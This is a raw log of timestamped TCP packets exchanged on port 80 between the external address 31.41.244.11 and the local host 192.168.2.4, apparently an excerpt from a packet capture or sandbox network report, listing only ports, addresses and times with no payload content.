Dec 19, 2024 06:10:02.967515945 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.968713999 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.968782902 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.968837023 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.970076084 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.970082045 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.970184088 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.970230103 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.971406937 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.971465111 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.971554041 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.972784996 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.972834110 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.972861052 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.973341942 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.974140882 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.974253893 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.974270105 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.974365950 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.975464106 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.975593090 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.975666046 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.976820946 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.976918936 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.976988077 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.978176117 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.978279114 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.978346109 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.979563951 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.979652882 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.979716063 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.980920076 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.981056929 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.981116056 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.982270956 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.982340097 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.982405901 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.983654022 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.983758926 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.983824968 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.984981060 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.985102892 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.985147953 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.986342907 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.986450911 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.986496925 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.987685919 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.987761974 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.987813950 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.989037037 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.989141941 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.989144087 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.989316940 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.990308046 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.992352009 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.109054089 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.109113932 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.109164953 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.109217882 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.109611988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.109695911 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.109759092 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.110044956 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.110727072 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.110779047 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.110812902 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.110858917 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.111865997 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.111927032 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.111977100 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.112025976 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.112946033 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.112994909 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.113035917 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.113081932 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.114056110 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.114196062 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.114245892 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.115159988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.115294933 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.115334988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.115391970 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.116338968 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.116380930 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.116384983 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.117383957 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.117441893 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.117736101 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.118092060 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.118485928 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.118561983 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.118597031 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.118643999 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.119621038 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.119674921 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.119714975 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.119759083 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.120692968 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.120748997 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.120788097 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.120846033 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.121805906 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.121850967 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.121908903 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.121951103 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.122909069 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.122955084 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.122994900 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.123332024 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.124017954 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.124068975 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.124139071 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.124226093 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.125194073 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.125242949 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.125255108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.125296116 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.126219988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.126265049 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.126317024 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.126360893 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.127377033 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.127403021 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.127427101 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.127441883 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.128457069 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.128509998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.128571033 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.128614902 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.129611015 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.129662991 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.129684925 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.129724979 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.130662918 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.130716085 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.130754948 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.130851030 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.131761074 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.131818056 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.131856918 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.132878065 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.132922888 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.132962942 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.133990049 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.134043932 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.134085894 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.134212971 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.135207891 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.135261059 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.135349989 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.135426998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.136202097 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.136254072 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.136321068 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.136504889 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.137315989 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.137435913 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.137480021 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.138513088 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.138660908 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.138712883 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.139528990 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.139621019 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.139659882 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.139700890 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.140657902 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.140767097 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.140815020 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.141757965 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.141808987 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.141834021 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.142508984 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.142847061 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.142972946 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.142988920 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.143054008 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.143961906 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.144078970 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.144109011 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.144121885 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.145082951 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.145137072 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.145183086 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.145591021 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.146217108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.146426916 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.146492004 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.147294044 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.147344112 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.147377014 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.147432089 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.148406029 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.148458004 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.148509026 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.148576021 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.149496078 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.149559975 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.149641037 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.149683952 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.150604963 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.150726080 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.150768995 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.151716948 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.151794910 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.151828051 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.151921034 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.152833939 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.152883053 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.152924061 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.152997017 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.153971910 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.154047966 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.154078007 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.154216051 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.155056000 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.155097961 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.155173063 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.155213118 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.156156063 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.156279087 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.156291962 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.156322002 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.157260895 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.157375097 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.157423973 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.158356905 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.158417940 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.158457994 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.158509016 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.159490108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.159586906 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.159605026 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.159709930 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.160593987 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.160650015 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.160726070 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.160768986 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.161680937 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.161739111 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.161777020 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.162178993 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.162784100 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.162848949 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.162913084 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.163294077 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.163918972 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.163978100 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.164041996 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.164463997 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.165016890 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.165081024 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.165122986 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.165465117 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.166125059 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.166188955 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.166229963 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.166546106 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.167181969 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.167258024 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.301131964 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.301183939 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.301255941 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.301367998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.301742077 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.301784039 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.301892996 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.302038908 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.302815914 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.302918911 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.302951097 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.302966118 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.303987980 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.304045916 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.304086924 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.304131031 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.305073023 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.305107117 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.305155993 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.306157112 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.306201935 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.306339025 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.306407928 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.307331085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.307384014 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.307408094 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.307447910 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.308350086 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.308458090 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.308506012 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.309463024 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.309508085 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.309603930 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.309647083 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.310646057 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.310689926 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.310818911 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.310878038 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.311738014 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.311794043 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.311871052 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.311990023 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.312802076 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.312913895 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.313004017 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.313055992 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.313926935 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.313972950 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.314023972 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.314179897 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.315021038 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.315066099 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.315099955 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.315140963 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.316157103 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.316209078 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.316241026 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.316282034 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.317226887 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.317271948 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.317363977 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.317404985 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.318350077 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.318506956 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.318559885 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.319433928 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.319540977 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.319561005 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.319602966 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.320594072 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.320657969 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.320688009 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.320703030 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.321643114 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.321789026 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.321831942 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.322760105 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.322810888 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.322949886 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.323009968 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.323920012 CET	80	49892	31.41.244.11	192.168.2.4
